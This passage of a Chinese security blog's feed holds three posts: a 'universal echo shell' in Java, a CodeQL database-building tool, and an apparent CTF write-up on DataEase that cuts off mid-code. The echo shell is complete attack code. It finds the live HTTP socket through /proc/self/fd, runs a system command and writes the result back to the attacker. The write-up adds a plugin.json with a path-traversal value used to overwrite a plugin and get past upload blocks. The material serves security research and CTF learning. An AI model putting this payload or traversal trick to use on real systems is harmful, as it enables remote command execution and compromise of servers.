    <summary type="html">&lt;p&gt;这个题目的大部分链子存在博客里面：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-colle</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>java_linux通用回显马</title>
    <link href="https://www.n1ght.cn/2025/08/21/java_linux%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E9%A9%AC/"/>
    <id>https://www.n1ght.cn/2025/08/21/java_linux%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E9%A9%AC/</id>
    <published>2025-08-21T06:00:00.000Z</published>
    <updated>2025-08-21T06:41:43.104Z</updated>
    
    <content type="html"><![CDATA[<p>在LINUX环境下，可以通过文件描述符”&#x2F;proc&#x2F;self&#x2F;fd&#x2F;i”获取到网络连接，在java中我们可以直接通过文件描述符获取到一个Stream对象，对当前网络连接进行读写操作，可以釜底抽薪在根源上解决回显问题。</p><p>我们怎么获取到tcp6的连接</p><p>获取到&#x2F;proc&#x2F;self&#x2F;net&#x2F;tcp6的inode</p><p>然后查看&#x2F;proc&#x2F;self&#x2F;fd下的所有文件的软链接</p><p>获取到inode匹配的最后一个的socket</p><p>获取到FileDescriptor的值，封装到SocketChannelImpl里面。</p><p>然后写入内容，当然你也可以关闭socket连接让后续不去写入</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.nio.ByteBuffer;</span><br><span class="line"><span class="keyword">import</span> java.nio.channels.SocketChannel;</span><br><span class="line"><span class="keyword">import</span> java.nio.channels.spi.SelectorProvider;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Path;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"><span class="keyword">import</span> java.util.regex.Matcher;</span><br><span class="line"><span class="keyword">import</span> java.util.regex.Pattern;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Exp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Exp</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        List&lt;String&gt; canWriteList = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        List&lt;Integer&gt; inodeList = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="type">byte</span>[] bytes = Files.readAllBytes(Paths.get(<span class="string">&quot;/proc/self/net/tcp6&quot;</span>));</span><br><span class="line">        <span class="type">String</span> <span class="variable">tcp6</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(bytes);</span><br><span class="line">        <span class="keyword">for</span> (String line : tcp6.split(<span class="string">&quot;\n&quot;</span>)) &#123;</span><br><span class="line">            String[] parts = line.trim().split(<span class="string">&quot;\\s+&quot;</span>);</span><br><span class="line">            <span class="keyword">if</span> (parts.length &gt;= <span class="number">13</span>) &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">inode</span> <span class="operator">=</span> parts[<span class="number">9</span>];</span><br><span class="line">                inodeList.add(Integer.parseInt(inode));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;/proc/self/fd&quot;</span>);</span><br><span class="line">        File[] files = file.listFiles();</span><br><span class="line">        <span class="keyword">for</span> (File f : files) &#123;</span><br><span class="line">            <span class="keyword">if</span> (f.exists()) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="type">Path</span> <span class="variable">path1</span> <span class="operator">=</span> Files.readSymbolicLink(f.toPath());</span><br><span class="line">                    <span class="keyword">if</span> (f.canWrite()) &#123;</span><br><span class="line">                        <span class="type">Pattern</span> <span class="variable">pattern</span> <span class="operator">=</span> Pattern.compile(<span class="string">&quot;socket:\\[(\\d+)]&quot;</span>);</span><br><span class="line">                        <span class="type">Matcher</span> <span class="variable">matcher</span> <span class="operator">=</span> pattern.matcher(path1.toString());</span><br><span class="line">                        <span class="keyword">if</span> (matcher.find()) &#123;</span><br><span class="line">                            <span class="type">Integer</span> <span class="variable">inode</span> <span class="operator">=</span> Integer.parseInt(matcher.group(<span class="number">1</span>));</span><br><span class="line">                            <span class="keyword">for</span> (Integer integer : inodeList) &#123;</span><br><span class="line">                                <span class="keyword">if</span> (Objects.equals(integer, inode)) &#123;</span><br><span class="line">                                    <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> f.getAbsolutePath();</span><br><span class="line">                                    canWriteList.add(path.substring(path.indexOf(<span class="string">&quot;/fd/&quot;</span>)).replaceAll(<span class="string">&quot;/fd/&quot;</span>, <span class="string">&quot;&quot;</span>));</span><br><span class="line">                                &#125;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        Constructor&lt;FileDescriptor&gt; c = <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 获取底层的 FileDescriptor</span></span><br><span class="line">            c = FileDescriptor.class.getDeclaredConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Integer.TYPE&#125;);</span><br><span class="line">            c.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Integer</span> <span class="variable">i</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Integer</span>(canWriteList.get(canWriteList.size() - <span class="number">1</span>));</span><br><span class="line">            <span class="type">FileDescriptor</span> <span class="variable">fileDescriptor</span> <span class="operator">=</span> c.newInstance(i);</span><br><span class="line">            Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;sun.nio.ch.SocketChannelImpl&quot;</span>);</span><br><span class="line">            Constructor&lt;?&gt; cons = clazz.getDeclaredConstructor(SelectorProvider.class, FileDescriptor.class, <span class="type">boolean</span>.class);</span><br><span class="line">            cons.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">            <span class="type">SelectorProvider</span> <span class="variable">provider</span> <span class="operator">=</span> SelectorProvider.provider();</span><br><span class="line">            <span class="type">SocketChannel</span> <span class="variable">sc</span> <span class="operator">=</span> (SocketChannel) cons.newInstance(provider, fileDescriptor, <span class="literal">false</span>);</span><br><span class="line">            <span class="type">Field</span> <span class="variable">connectedField</span> <span class="operator">=</span> sc.getClass().getDeclaredField(<span class="string">&quot;state&quot;</span>);</span><br><span class="line">            connectedField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            connectedField.set(sc, <span class="number">2</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">ret</span> <span class="operator">=</span>  file.getCanonicalPath()</span><br><span class="line">                    + <span class="string">&quot;/&quot;</span> + canWriteList.get(canWriteList.size() - <span class="number">1</span>) + <span class="string">&quot;: &quot;</span> +</span><br><span class="line">                    <span class="keyword">new</span> <span class="title class_">Scanner</span>(Runtime.getRuntime().exec(<span class="string">&quot;id&quot;</span>).getInputStream()).useDelimiter(<span class="string">&quot;\\A&quot;</span>).next() + <span class="string">&quot;\n&quot;</span>;</span><br><span class="line"><span class="comment">//            String ret =  new Scanner(Runtime.getRuntime().exec(&quot;id&quot;).getInputStream()).useDelimiter(&quot;\\A&quot;).next() + &quot;\n&quot;;</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">header</span> <span class="operator">=</span> <span class="string">&quot;HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-length:&quot;</span>+ret.length()+<span class="string">&quot;\r\n\r\n&quot;</span>+ret;</span><br><span class="line">            <span class="type">ByteBuffer</span> <span class="variable">buffer</span> <span class="operator">=</span> ByteBuffer.wrap(header.getBytes());</span><br><span class="line">            <span class="keyword">while</span> (buffer.hasRemaining()) &#123;</span><br><span class="line">                sc.write(buffer);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在LINUX环境下，可以通过文件描述符”&amp;#x2F;proc&amp;#x2F;self&amp;#x2F;fd&amp;#x2F;i”获取到网络连接，在java中我们可以直接通过文件描述符获取到一个Stream对象，对当前网络连接进行读写操作，可以釜底抽薪在根源上解决回显问题。&lt;/p&gt;
&lt;p&gt;我</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>codeql带依赖jar包数据库生成</title>
    <link href="https://www.n1ght.cn/2025/06/16/codeql%E5%B8%A6%E4%BE%9D%E8%B5%96jar%E5%8C%85%E6%95%B0%E6%8D%AE%E5%BA%93%E7%94%9F%E6%88%90/"/>
    <id>https://www.n1ght.cn/2025/06/16/codeql%E5%B8%A6%E4%BE%9D%E8%B5%96jar%E5%8C%85%E6%95%B0%E6%8D%AE%E5%BA%93%E7%94%9F%E6%88%90/</id>
    <published>2025-06-16T09:30:00.000Z</published>
    <updated>2025-06-16T09:38:52.323Z</updated>
    
    <content type="html"><![CDATA[<h1 id="codeql带依赖jar包数据库生成"><a href="#codeql带依赖jar包数据库生成" class="headerlink" title="codeql带依赖jar包数据库生成"></a>codeql带依赖jar包数据库生成</h1><p>这个月听群友聊ai编程比较感兴趣，去试了试便宜的trae，首月3美元。玩了一会儿感觉不写点什么对不起这*<del>3美元</del>*</p><p>于是</p><p><a href="https://github.com/yezere/codeql_n1ght">https://github.com/yezere/codeql_n1ght</a></p><p>也顺便为了方便我使用codeql搭建数据库，毕竟每次手操做还是太累了。</p><p>以前也有师傅问过我怎么搭建带依赖的数据库，其实用ant去构建就行了，但是还是会报错 <del><em>你就说数据库搭建没搭建起来吧</em></del></p><h3 id="直接下载可执行文件"><a href="#直接下载可执行文件" class="headerlink" title="直接下载可执行文件"></a>直接下载可执行文件</h3><p>从 <a href="https://github.com/yezere/codeql_n1ght/releases">Releases</a> 页面下载对应平台的可执行文件。</p><p>-h是帮助</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">安装所有必要工具（JDK、Apache Ant、CodeQL）</span></span><br><span class="line">./codeql_n1ght -install</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">使用自定义下载地址安装</span></span><br><span class="line">./codeql_n1ght -install -jdk https://your-jdk-url.zip -codeql https://your-codeql-url.zip</span><br></pre></td></tr></table></figure><p>可以去指定工具版本的下载</p><p>创建数据库</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"># 从 JAR 包创建数据库</span><br><span class="line">./codeql_n1ght -database your-app.jar</span><br><span class="line"></span><br><span class="line"># 从 WAR 包创建数据库</span><br><span class="line">./codeql_n1ght -database your-webapp.war</span><br><span class="line"></span><br><span class="line"># 指定反编译器类型</span><br><span class="line">./codeql_n1ght -database your-app.jar -decompiler fernflower</span><br><span class="line"></span><br><span class="line"># 反编译自己想要的lib，将jar包放入lib文件夹下，打包成zip</span><br><span class="line">./codeql_n1ght -database your-zip.zip</span><br></pre></td></tr></table></figure><h3 id="命令行参数"><a href="#命令行参数" class="headerlink" title="命令行参数"></a>命令行参数</h3><table><thead><tr><th>参数</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>​<code>-install</code>​</td><td>一键安装环境</td><td>​<code>./codeql_n1ght -install</code>​</td></tr><tr><td>​<code>-database</code>​</td><td>指定要分析的 JAR&#x2F;WAR 文件</td><td>​<code>./codeql_n1ght -database app.jar</code>​</td></tr><tr><td>​<code>-decompiler</code>​</td><td>选择反编译器 (procyon|fernflower)</td><td>​<code>./codeql_n1ght -database app.jar -decompiler fernflower</code>​</td></tr><tr><td>​<code>-jdk</code>​</td><td>自定义 JDK 下载地址</td><td>​<code>./codeql_n1ght -install -jdk https://example.com/jdk.zip</code>​</td></tr><tr><td>​<code>-ant</code>​</td><td>自定义 Apache Ant 下载地址</td><td>​<code>./codeql_n1ght -install -ant https://example.com/ant.zip</code>​</td></tr><tr><td>​<code>-codeql</code>​</td><td>自定义 CodeQL 下载地址</td><td>​<code>./codeql_n1ght -install -codeql https://example.com/codeql.zip</code>​</td></tr></tbody></table><h3 id="WAR-包特殊处理"><a href="#WAR-包特殊处理" class="headerlink" title="WAR 包特殊处理"></a>WAR 包特殊处理</h3><p>本工具针对 WAR 包进行了特殊优化：</p><ul><li><strong>Spring Boot JAR&#x2F;WAR</strong>：自动处理 <code>BOOT-INF/classes</code>​ 和 <code>BOOT-INF/lib</code>​ 目录</li><li><strong>传统 WAR</strong>：兼容处理 <code>WEB-INF/classes</code>​ 和 <code>WEB-INF/lib</code>​ 目录</li><li><strong>JSP 文件</strong>：使用专用的 <code>jsp2class.jar</code>​ 进行反编译</li><li><strong>智能路径检测</strong>：自动识别不同的 WAR 包结构</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;codeql带依赖jar包数据库生成&quot;&gt;&lt;a href=&quot;#codeql带依赖jar包数据库生成&quot; class=&quot;headerlink&quot; title=&quot;codeql带依赖jar包数据库生成&quot;&gt;&lt;/a&gt;codeql带依赖jar包数据库生成&lt;/h1&gt;&lt;p&gt;这个月听群友</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>qwb-final-dataease代码审计</title>
    <link href="https://www.n1ght.cn/2024/12/07/qwb-final-dataease%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <id>https://www.n1ght.cn/2024/12/07/qwb-final-dataease%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/</id>
    <published>2024-12-06T16:00:00.000Z</published>
    <updated>2024-12-07T15:15:21.848Z</updated>
    
    <content type="html"><![CDATA[<p>github远程数据库获取<br>使用gh查询</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gh api /repos/&lt;owner&gt;/&lt;repo&gt;/code-scanning/codeql/databases</span><br></pre></td></tr></table></figure><p>返回信息类如</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="string">&quot;id&quot;</span>: <span class="number">52476457</span>,</span><br><span class="line">    <span class="string">&quot;name&quot;</span>: <span class="string">&quot;database.zip&quot;</span>,</span><br><span class="line">    <span class="string">&quot;language&quot;</span>: <span class="string">&quot;javascript&quot;</span>,</span><br><span class="line">    <span class="string">&quot;uploader&quot;</span>: &#123;</span><br><span class="line">      <span class="string">&quot;login&quot;</span>: <span class="string">&quot;github-advanced-security[bot]&quot;</span>,</span><br><span class="line">      <span class="string">&quot;id&quot;</span>: <span class="number">62310815</span>,</span><br><span class="line">      <span class="string">&quot;node_id&quot;</span>: <span class="string">&quot;MDM6Qm90NjIzMTA4MTU=&quot;</span>,</span><br><span class="line">      <span class="string">&quot;avatar_url&quot;</span>: <span class="string">&quot;https://avatars.githubusercontent.com/in/57789?v=4&quot;</span>,</span><br><span class="line">      <span class="string">&quot;gravatar_id&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">      <span class="string">&quot;url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D&quot;</span>,</span><br><span class="line">      <span class="string">&quot;html_url&quot;</span>: <span class="string">&quot;https://github.com/apps/github-advanced-security&quot;</span>,</span><br><span class="line">      <span class="string">&quot;followers_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/followers&quot;</span>,</span><br><span class="line">      <span class="string">&quot;following_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/following&#123;/other_user&#125;&quot;</span>,</span><br><span class="line">      <span class="string">&quot;gists_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/gists&#123;/gist_id&#125;&quot;</span>,</span><br><span class="line">      <span class="string">&quot;starred_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/starred&#123;/owner&#125;&#123;/repo&#125;&quot;</span>,</span><br><span class="line">      <span class="string">&quot;subscriptions_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/subscriptions&quot;</span>,</span><br><span class="line">      <span class="string">&quot;organizations_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/orgs&quot;</span>,</span><br><span class="line">      <span class="string">&quot;repos_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/repos&quot;</span>,</span><br><span class="line">      <span class="string">&quot;events_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/events&#123;/privacy&#125;&quot;</span>,</span><br><span class="line">      <span class="string">&quot;received_events_url&quot;</span>: <span class="string">&quot;https://api.github.com/users/github-advanced-security%5Bbot%5D/received_events&quot;</span>,</span><br><span class="line">      <span class="string">&quot;type&quot;</span>: <span class="string">&quot;Bot&quot;</span>,</span><br><span class="line">      <span class="string">&quot;site_admin&quot;</span>: <span class="literal">false</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&quot;content_type&quot;</span>: <span class="string">&quot;application/zip&quot;</span>,</span><br><span class="line">    <span class="string">&quot;size&quot;</span>: <span class="number">90378463</span>,</span><br><span class="line">    <span class="string">&quot;created_at&quot;</span>: <span class="string">&quot;2024-03-19T05:00:25Z&quot;</span>,</span><br><span class="line">    <span class="string">&quot;updated_at&quot;</span>: <span class="string">&quot;2024-03-19T05:00:27Z&quot;</span>,</span><br><span class="line">    <span class="string">&quot;url&quot;</span>: <span class="string">&quot;https://api.github.com/repositories/80249302/code-scanning/codeql/databases/javascript&quot;</span>,</span><br><span class="line">    <span class="string">&quot;commit_oid&quot;</span>: <span class="string">&quot;e9b53833523d88d9bee77a4d45b4868ab2bc9a25&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>获取到相关内容下载</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gh api /repos/&lt;owner&gt;/&lt;repo&gt;/code-scanning/codeql/databases/&lt;language&gt; -H <span class="string">&#x27;Accept: application/zip&#x27;</span> &gt; path/to/local/database.zip</span><br></pre></td></tr></table></figure><p>设置语言即可下载</p><p>实验的代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gh api /repos/craftcms/cms/code-scanning/codeql/databases</span><br><span class="line">gh api /repos/craftcms/cms/code-scanning/codeql/databases/javascript -H <span class="string">&#x27;Accept: application/zip&#x27;</span> &gt; /mnt/h/test-database.zip</span><br></pre></td></tr></table></figure><p>返回内容</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241207224417-pmkqmb7.png" alt="image">​</p><p>后面我们使用codeql进行查询</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * @name Empty block</span><br><span class="line"> * @kind problem</span><br><span class="line"> * @problem.severity warning</span><br><span class="line"> * @id java/example/empty-block</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">import java</span><br><span class="line"></span><br><span class="line">class SourceController extends Method  &#123;</span><br><span class="line">    SourceController()&#123;</span><br><span class="line">        getQualifiedName().regexpMatch(&quot;.+Controller.+&quot;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">class SinkMethod extends Callable &#123;</span><br><span class="line">    SinkMethod()&#123;</span><br><span class="line">        getACallee().getName().regexpMatch(&quot;.*localInstall.*&quot;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">from SourceController source,SinkMethod sink</span><br><span class="line">where source.calls(sink)</span><br><span class="line">select source,source.getQualifiedName(),sink,sink.getQualifiedName()</span><br></pre></td></tr></table></figure><p>使用codeql进行查询</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241207231401-pqhjovv.png" alt="image">​</p><p>可以看到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen       80;</span><br><span class="line">    server_name  localhost;</span><br><span class="line">  </span><br><span class="line">    location = /flag.html &#123;</span><br><span class="line">        root   /usr/share/nginx/html;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /api/plugin/upload &#123;</span><br><span class="line">        if ($request_method = POST) &#123;</span><br><span class="line">            return 403;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /driver/file/upload &#123;</span><br><span class="line">        if ($request_method = POST) &#123;</span><br><span class="line">            return 403;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location /staticResource/upload/ &#123;</span><br><span class="line">        if ($request_method = POST) &#123;</span><br><span class="line">            return 403;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    location / &#123;</span><br><span class="line">        proxy_pass http://dataease:8081;  # 内网服务器地址</span><br><span class="line">        proxy_set_header Host $host;</span><br><span class="line">        proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">        proxy_set_header X-Forwarded-Proto $scheme;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>localupload杯禁用但是update没有我们可以覆盖插件后进行连接</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241207224835-qtnz19o.png" alt="image">​</p><p>需要注意的是</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241207224850-wr6juep.png" alt="image">​</p><p>这段代码有一个逻辑</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241207224910-ajghdf2.png" alt="image">​</p><p>我们的plugin.json要写成</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;达梦数据源插件&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;store&quot;</span><span class="punctuation">:</span> <span class="string">&quot;default&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;free&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;cost&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;category&quot;</span><span class="punctuation">:</span> <span class="string">&quot;datasource&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;descript&quot;</span><span class="punctuation">:</span> <span class="string">&quot;达梦数据源插件&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1.18.26&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;creator&quot;</span><span class="punctuation">:</span> <span class="string">&quot;DATAEASE&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;moduleName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;dm-backend&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;icon&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">null</span></span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;dsType&quot;</span><span class="punctuation">:</span> <span class="string">&quot;../default/dm&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>我们通过简单的方法patch一下即可，但是final的要求是hack.html页面</p><p>他的hack.html页面在&#x2F;目录下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 